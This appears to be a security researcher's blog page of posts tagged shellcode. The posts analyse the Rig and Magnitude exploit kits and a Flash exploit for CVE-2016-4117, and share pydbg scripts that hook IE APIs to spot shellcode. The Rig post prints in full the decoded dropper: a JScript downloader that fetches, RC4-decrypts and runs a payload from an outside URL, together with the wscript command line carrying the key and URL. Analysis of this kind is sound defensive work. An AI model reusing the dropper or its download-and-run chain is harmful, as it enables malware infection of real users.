Showing posts with label Shellcode. Show all posts
Showing posts with label Shellcode. Show all posts

Friday, September 30, 2016

Rig Exploit Kit - Shellcode Spawns WSCRIPT.EXE

Rig exploit kit is currently one of the most prevalent kit in the wild. Recently there were news saying that the kit is using "WSCRIPT.EXE" to download it's encrypted payload. Earlier Rig was known to be directly downloading it's payload through "IEXPLORE.EXE". Just guessing that the switch to "WSCRIPT.EXE" might be a trick to bypass security products.

I downloaded a PCAP from malware-traffic-analysis.net (brilliant site) and started performing the analysis. A typical flow from rig exploit kit hosted site looks like below,


Landing page of Rig kit is obfuscated and looks like below,



Decoding the landing page of the Rig exploit kit reveals an exploit for CVE-2013-2551 that exploits a use after free vulnerability in Microsoft's Internet Explorer. Analyzing the script further reveals the shellcode that's embedded in the script in plain text. Below is the portion of the script that holds the shellcode.


Analysis on the shellcode reveals that it is XOR encoded and at the start of the shellcode it decodes the shellcode with a hardcoded key - In this case 0x84.


After letting the decoding loop to complete, the real picture is revealed.


The argument that's passed to the CreateProcessA api is below (post beautification). It is clearly visible its responsible for writing a small JScript snippet to a file named "IIj6sFosp" under %TEMP% directory. The same script is later passed as one of the argument to "WSCRIPT.EXE" process.

cmd.exe / q / c cd / d "%tmp%" && echo
function Log(n, g) {
    for (var c = 0, s = String, d, D = "push", b = [], i = [], r = (0376 + 1), a = 0; r + 1 ^ > a; a++) b[a] = a;
    for (a = 0; r + 1 ^ > a; a++) c = c + b[a] + g[v](a % g.length) ^ & r, d = b[a], b[a] = b[c], b[c] = d;
    for (var e = c = a = 0, S = "fromC" + "harCode"; e ^ < n.length; e++) a = a + 1 ^ & r, c = c + b[a] ^ & r, d = b[a], b[a] = b[c], b[c] = d, i[D](s[S](n[v](e) ^ ^ b[b[a] + b[c] ^ & r]));
    return i[u(15)](u(11))
};

function H(g) {
    var T = u(0),
        d = W(T + "." + T + u(1));
    d["setProxy"](n);
    d.open(u(2), g(1), n);
    d.Option(0) = g(2);
    d["\x53en\x64"];
    if (0310 == d.status) return Log(d["responseText"], g(n))
};
E = "WinHTTPMRequest.5.1MGETMScripting.FileSystemObjectMWScript.Shel" + "lMADODB.StreamMeroM.ex", u = function(x) {
    return E.split("M")[x]
}, J = ActiveXObject, W = function(v) {
    return new J(v)
};
try {
    E += "eMGetTe" + "mpNameMcharCodeAtMiso-8859-1MMindexO" + "fM.dllMScr" + "iptFullNa" + "meMjo" + "inMr" + "unM /c M /s ";
    var q = W(u(3)),
        j = W(u(4)),
        s = W(u(5)),
        p = u(7),
        n = 0,
        L = WScript[u(14)],
        v = u(9),
        m = WScript.Arguments;
    s.Type = 2;
    c = q[u(8)]();
    s.Charset = u(012);
    s.Open();
    i = H(m);
    d = i[v](i[u(12)]("P\x45\x00\x00") + 027);
    s.writetext(i);
    if (037 ^ < d) {
        var z = 1;
        c += u(13)
    } else c += p;
    s.savetofile(c, 2);
    s.Close();
    z ^ & ^ & (c = "regsvr32" + p + u(18) + c);
    j[u(16)]("\x63md" + p + u(17) + c, 0)
} catch (Y) {}
dfg = "De";
q[dfg + "letefile"](L); > IIj6sFosp && start wscript //B //E:JScript IIj6sFosp "

When "WSCRIPT.EXE" process is started its passed few other arguments too as seen below,

wscript  //B //E:JScript IIj6sFosp "gexywoaxor" "http://art.unknownproject.com/index.php?x3qJc7idLRrKCoA=l3SMfPrfJxzFGMSUb-nJDa9BNUXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KTKvgJQyfu0SaGyj1BKeO10hjoUeWF8Z5e3x1RSL2x3fipSA9wffZAlErJWQReNq2wyhx7MUdMMjxRTRuDQFn7gYUAhGtBgY36TIHLOL-AFiXwE4Ugfbct4lsxaBWiTiJGQ23OWwGTF2n-WD" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

The 1st argument is the RC4 key ("gexywoaxor") that's used to decrypt the payload who's URL is the 2nd argument. The 3rd argument is the User-Agent that's used while downloading the payload.

Decrypting the payload with the key reveals the hidden malicious file.


VT link for the malware.

Thursday, June 9, 2016

CVE-2016-4117 hidden in binaryData

Loading the SWF into FFDEC looks like this


The flash file holds a binaryData which when decrypted becomes another flash file that exploit CVE-2016-4117. The logic to decode the flash file looks like below,


while(_loc6_ < _loc4_)
{
 _loc3_[_loc6_] = _loc3_[_loc6_] ^ _loc5_;
 _loc6_++;
 _loc5_ = _loc5_ + 17 & 255;
}

Simple porting of the above script script to Python for decoding the binaryData blob.


def main():
    data = bytearray(open("binaryblob.bin", "rb").read())
    length = len(data)
    key = data[length-1]
    for i in range(0,length):
        data[i] = data[i] ^ key
        key = key + 17 & 255

    f = open("C:\\decrypted.swf", "wb")
    f.write(data)
    f.close()

if __name__ == '__main__':
    main()

And the decoded file looks like,
  

The base flash file has additional code to confirm if it has decoded the flash file properly. It checks few decoded bytes to confirm if everything worked fine.


The base flash file also has another trick up its sleeves. It has function that does the shellcode substitution. This function searches the decoded flash file for "NOSP SLED" (9090909090....) and replaces it with the shellcode from the base flash file.


This probably is done by the attackers for speedy replacement of shellcodes without touching the concealed flash file. So the decoded flash file before and after replacement of the shell looks like below.

Wednesday, January 20, 2016

Magnitude Exploit Kit Shellcode

Magnitude Exploit Kit is seen to have been downloading shellcode in an independent stream in clear text format. Snapshot from wireshark below,



Post exploitation, the shellcode starts executing. When it starts, it harvests all the required API's. Below is the list of APIs gathered and pushed to stack for later use.


The payload is always downloaded to below location to the local machine (current user's temp directory).



Later it downloads the payload and executes it through "CreateProcessA" API. It is also observed that the shellcode makes use of PowerShell to download and execute the payload.

Thursday, June 18, 2015

LoadLibraryA hook - Consecutive API functions in Shellcode

Script hooks into "LoadLibraryA" and checks if [content] of any register point to "LoadLibrayA" function. It also displays adjacent locations of the addresses pointed by the register.

For example,

call [eax] -------> eax = 0x04040404 and 04040404 if it points to address of "LoadLibraryA" our script will display data surrounding that memory location. Currently its only able to display function names for very few APIs :)

       

##
#
#Code checks for APIs in consecutive memory
#Hooks into LoadLibraryA
#
#Sample output - CVE-2015-3090 from Angler Exploit Kit
#C:\Documents and Settings\user\Desktop\SCRIPTS>LoadLib_Hook.py
#[*] LoadLibraryA hooked at: 0x7c801d77
#
#[*] LoadLibraryA in content of ESI 0x043a5c95
#0x424448b
#0x8b0c488b
#0x408b0450
#0x11048910
#0xcc0004c2
#0x7c80ac28 -----------> GetProcAddress
#0x7c801d77 -----------> LoadLibraryA
#0x7c809a81 -----------> VirtualAlloc
#0x7c809b14 -----------> VirtualFree
#0x7c81082f
#0x7c802530
#0x7c81caa2
#0x7c809b77
#0x7c82293b
#0x7c801a24
#0x7c81f8e2
#0x7c80ec1b
#0x7c910856
#0x7c959e43
#0x7c961be3
#0x7c924caa
#0x7c910a8f
##
from pydbg import *
from pydbg.defines import *

import struct
import re
import utils
import sys
import os
from ctypes import *

global is_hooked

#Stupid way to convert to hex
def hex_cnvrt(dec):
    dec = str(hex(dec))
    dec = re.sub('L', '', dec)
    return dec

def print_data(addr):
    addr -= 20          #So that we cover data in previous memory too
    addresses = []
    for x in range(0, 40):
        addr_dump = dbg.read_process_memory(addr, 4)
        addr_dump = struct.unpack("L", addr_dump)[0]
        addr += 4
        if hex_cnvrt(addr_dump) == hex_cnvrt(hook_address):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> LoadLibraryA')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(get_proc_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> GetProcAddress')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(virtualalloc_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> VirtualAlloc')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(virtualallocex_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> VirtualAllocEx')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(writefile_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> WriteFile')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(virtualfree_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> VirtualFree')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(virtualfreeex_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> VirtualFreeEx')
        elif hex_cnvrt(addr_dump) == hex_cnvrt(createremotethread_addr):
            addresses.append(hex_cnvrt(addr_dump) + ' -----------> CreateRemoteThread')
        else:
            addresses.append(hex_cnvrt(addr_dump))

    return addresses

def LoadLib(dbg, args):
    eax_content = dbg.context.Eax
    ebx_content = dbg.context.Ebx
    ecx_content = dbg.context.Ecx
    edx_content = dbg.context.Edx
    esi_content = dbg.context.Esi
    edi_content = dbg.context.Edi
    ebp_content = dbg.context.Ebp

    try:
        con_eax_content = print_data(eax_content)
        if any(hex_cnvrt(hook_address) in s for s in con_eax_content):
            print "\n[*] LoadLibraryA in content of EAX 0x%08x" % eax_content
            for addr in con_eax_content:
                print addr
    except:
        pass

    try:
        con_esi_content = print_data(esi_content)
        if any(hex_cnvrt(hook_address) in s for s in con_esi_content):
            print "\n[*] LoadLibraryA in content of ESI 0x%08x" % esi_content
            for addr in con_esi_content:
                print addr
    except:
        pass

    try:
        con_ebx_content = print_data(ebx_content)
        if any(hex_cnvrt(hook_address) in s for s in con_ebx_content):
            print "\n[*] LoadLibraryA in content of EBX 0x%08x" % ebx_content
            for addr in con_ebx_content:
                print addr
    except:
        pass

    try:
        con_ecx_content = print_data(ecx_content)
        if any(hex_cnvrt(hook_address) in s for s in con_ecx_content):
            print "\n[*] LoadLibraryA in content of ECX 0x%08x" % ecx_content
            for addr in con_ecx_content:
                print addr
    except:
        pass

    try:
        con_edx_content = print_data(edx_content)
        if any(hex_cnvrt(hook_address) in s for s in con_edx_content):
            print "\n[*] LoadLibraryA in content of EDX 0x%08x" % edx_content
            for addr in con_edx_content:
                print addr
    except:
        pass

    try:
        con_edi_content = print_data(edi_content)
        if any(hex_cnvrt(hook_address) in s for s in con_edi_content):
            print "\n[*] LoadLibraryA in content of EDI 0x%08x" % edi_content
            for addr in con_edi_content:
                print addr
    except:
        pass

    try:
        con_ebp_content = print_data(ebp_content)
        if any(hex_cnvrt(hook_address) in s for s in con_ebp_content):
            print "\n[*] LoadLibraryA in content of EBP 0x%08x" % ebp_content
            for addr in con_ebp_content:
                print addr
    except:
        pass

    return DBG_CONTINUE

def hook_Loadlib (pydbg):
    global hook_address, get_proc_addr, virtualalloc_addr, virtualallocex_addr, writefile_addr, virtualfree_addr, virtualfreeex_addr, createremotethread_addr
    is_hooked = 0
    hooks = utils.hook_container()
    hook_address = pydbg.func_resolve_debuggee("kernel32.dll", "LoadLibraryA") #API to hook
    get_proc_addr = pydbg.func_resolve_debuggee("kernel32.dll", "GetProcAddress")
    virtualalloc_addr = pydbg.func_resolve_debuggee("kernel32.dll", "VirtualAlloc")
    virtualallocex_addr = pydbg.func_resolve_debuggee("kernel32.dll", "VirtualAllocEx")
    writefile_addr = pydbg.func_resolve_debuggee("kernel32.dll", "WriteFile")
    virtualfree_addr = pydbg.func_resolve_debuggee("kernel32.dll", "VirtualFree")
    virtualfreeex_addr = pydbg.func_resolve_debuggee("kernel32.dll", "VirtualFreeEx")
    createremotethread_addr = pydbg.func_resolve_debuggee("kernel32.dll", "CreateRemoteThread")
    if (is_hooked != 1):
        if hook_address:
            res = hooks.add(pydbg, hook_address, 0, LoadLib, None)
            is_hooked = 1
            print "[*] LoadLibraryA hooked at: 0x%08x" % hook_address
        else:
            print "[*] Error: Couldn't resolve hook address."
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, hook_Loadlib)
found_program = False

for (pid, name) in dbg.enumerate_processes():
 if name.lower() == "iexplore.exe":
  found_program = True
  dbg.attach(pid)

if found_program:
 dbg.run()
else:
 dbg.detach()
       

Snapshot from windbg at the same memory location.

Friday, May 16, 2014

ZwProtectVirtualMemory Hook



“ZwProtectVirtualMemory” is an undocumented API that can be used to modify the memory protections schemes. This API is seen to be widely used by exploits to modify the protection schemes of memory where the shellcode resides. 

For experimenting purpose I wrote a Python script that looks hooks into "ZwProtectVirtualMemory" and verifies if the stack is pointing to addresses > “09090909h” and the memory protection being modified to “RWX” – that is “40h”. If the condition is satisfied it prints the 10 DWORDs of memory content of ESP along with the hex dump of possible shellcode. Useful in cases for speedy analysis where “ZwProtectVirtualMemory” API in used to modify the memory where the shellcode resides.

Script tested on IE11 - Windows 7 32 bit.

##
#ZwPVM_Hook.py
#Code checks for possible shellcode
#after ZwProtectVirtual function is executed
#
#Based on analysis of CVE-2014-0322 & CVE-2014-1776
#
#Author:binaryhax0r
##

from pydbg import *
from pydbg.defines import *

import struct
import utils
import sys
import os

from ctypes import *

global is_hooked

def ZwProtect(dbg, args):
    esp_content = dbg.context.Esp

    if (esp_content >= 0x09090909):    #Arbitrary address!!!
        access_protection_addr = esp_content + 0x10    #Protection Address
        access_protection = dbg.read_process_memory(access_protection_addr, 4)
        access_protection = struct.unpack("L", access_protection)[0]

        if (access_protection == 0x40):    #0x40 - RWX protection
            print "=" * 50
            print "[*] ESP CONTENT: 0x%08x" % esp_content
            print "[*] ACCESS PROTECTION: 0x%08x" % access_protection
            print "[*] ESP ADDRESS DUMP:"
            print "*" * 50
            temp = esp_content

            for x in range(0, 10):        #no of stack variables to print - 10
                esp_addr_dump = dbg.read_process_memory(temp, 4)
                esp_addr_dump = struct.unpack("L", esp_addr_dump)[0]
                temp += 4
                print hex(esp_addr_dump)

            print "*" * 50
            shellcode = ""
            temp = int(esp_content)
            temp = dbg.read_process_memory(temp, 4)    #top of stack possibly point to shellcode location
            temp = struct.unpack("L", temp)[0]
            print "[*] POSSIBLE SHELLCODE ADDRESS: 0x%08x" % temp
            shellcode = dbg.hex_dump(dbg.read(temp, 0x1000), temp)
            print shellcode
            print "=" * 50
    return DBG_CONTINUE

def hook_ZwProtect (pydbg):
    is_hooked = 0
    hooks = utils.hook_container()
    hook_address  = pydbg.func_resolve_debuggee("ntdll.dll", "ZwProtectVirtualMemory")    #API to hook
    hook_address += 12
    if (is_hooked != 1):
        if hook_address:
            res = hooks.add(pydbg, hook_address, 0, ZwProtect, None)
            is_hooked = 1
            print "[*] ZwProtectVirtualMemory hooked at: 0x%08x" % hook_address
        else:
            print "[*] Error: Couldn't resolve hook address."
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, hook_ZwProtect)
found_program = False
for (pid, name) in dbg.enumerate_processes():
    if name.lower() == "iexplore.exe":
        found_program = True
        dbg.attach(pid)
if found_program: 
    dbg.run()
else:
    dbg.detach()


 Sample output during an exploit analysis.